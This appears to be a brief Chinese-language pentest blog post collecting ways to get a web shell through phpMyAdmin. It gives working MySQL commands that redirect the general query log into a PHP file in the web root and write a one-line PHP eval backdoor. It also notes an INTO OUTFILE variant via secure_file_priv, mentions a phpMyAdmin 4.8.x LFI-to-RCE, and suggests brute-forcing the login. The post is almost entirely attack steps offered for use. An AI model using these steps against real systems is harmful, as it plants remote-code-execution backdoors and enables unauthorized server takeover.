首页 » NetworkSec » Penetration » 正文

phpmyadmin getshell大法

0x00 概述

整理phpmyadmin的两种getshell方法,后续有其他方法再更新。

 

0x01 select日志

show variables like ‘general%’;

set global general_log = ‘ON’;# MySQL 返回的查询结果为空 (即零行)。

set global general_log_file = ‘C:/phpStudy/PHPTutorial/WWW/logshell.php’;# MySQL 返回的查询结果为空 (即零行)。

SELECT ‘<?php @eval($_POST[lsa]);?>’

 

0x02 into outfile

此法有局限性,必须secure_file_priv不为null && 为网站路径

show variables like “secure_file_priv”;

默认Null

尝试设置为网站目录:

需要修改my.ini

secure_file_priv=’网站路径

 

0x03 其他

还有phpmyadmin4.8.x LFI to RCE

 

0x04 结语

phpmyadmin上述getshell方法都要登录,可尝试爆破。

 

0x05 参考资料

www.freebuf.com/column/173672.html

 

Comment